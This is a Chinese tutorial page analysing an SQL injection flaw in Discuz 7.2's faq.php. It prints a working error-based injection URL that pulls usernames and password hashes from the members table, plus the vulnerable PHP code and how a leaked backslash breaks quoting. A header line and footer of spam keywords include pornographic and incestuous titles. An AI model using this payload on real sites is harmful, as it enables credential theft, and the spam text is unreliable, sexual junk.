国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - Discuz7.2版的faq.php SQL注入漏洞分析

Discuz7.2版的faq.php SQL注入漏洞分析

2020-07-21 14:38junjie PHP教程

這篇文章主要介紹了Discuz7.2版的faq.php SQL注入漏洞分析,包含注入代碼和源碼分析,需要的朋友可以參考下

注入代碼實例:

復制代碼 代碼如下:

http://www.jfrwli.cn/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

 

漏洞分析: by phithon

 

復制代碼 代碼如下:


($action == 'grouppermission') {

 

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

 

首先定義一個數組groupids,然后遍歷$gids(這也是個數組,就是$_GET[gids]),將數組中的所有值的第一位取出來放在groupids中。

為什么這個操作就造成了注入?

discuz在全局會對GET數組進行addslashes轉義,也就是說會將'轉義成\',所以,如果我們的傳入的參數是:gids[1]='的話,會被轉義成$gids[1]=\',而這個賦值語句$groupids[] = $row[0]就相當于取了字符串的第一個字符,也就是\,把轉義符號取出來了。

再看后面,在將數據放入sql語句前,他用implodeids處理了一遍。我們看到implodeids函數

很簡單一個函數,就是將剛才的$groupids數組用','分割開,組成一個類似于'1','2','3','4'的字符串返回。

但是我們的數組剛取出來一個轉義符,它會將這里一個正常的'轉義掉,比如這樣:
'1','\','3','4'
有沒有看出有點不同,第4個單引號被轉義了,也就是說第5個單引號和第3個單引號閉合。

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 99久久久无码国产精品 | 精品美女久久久 | 在线视频中文字幕 | 一级毛毛片| 日韩在线视频一区 | 日韩视频在线观看一区 | 中文字幕高清免费日韩视频在线 | 澳门av| 精品久| 午夜影院在线观看 | 欧美999| 中文字幕在线一区 | 中文字幕四区 | 久久久久久亚洲一区二区三区蜜臀 | 欧美激情一区二区三级高清视频 | 男女视频网址 | 欧美精三区欧美精三区 | 亚洲成av人片一区二区梦乃 | 93看片淫黄大片一级 | 欧美日韩精品电影 | 一区二区视频在线观看 | 国产一区二区免费 | 国产精品一区久久久 | 在线观看免费视频国产 | 99久久精品免费看国产一区二区三区 | 成人午夜网站 | 亚洲乱码二区 | 国产9色在线 | 日韩 | 激情自拍偷拍 | 视频在线一区二区 | 综合伊人 | 成人久久久久久 | 日韩美女视频 | 久久aⅴ国产欧美74aaa | 欧美成人精品一区二区男人看 | 精品亚洲免费 | 一区二区三区中文字幕 | 欧洲精品一区 | av在线电影网站 | 日韩免费高清在线 | 亚洲欧美一区二区三区不卡 |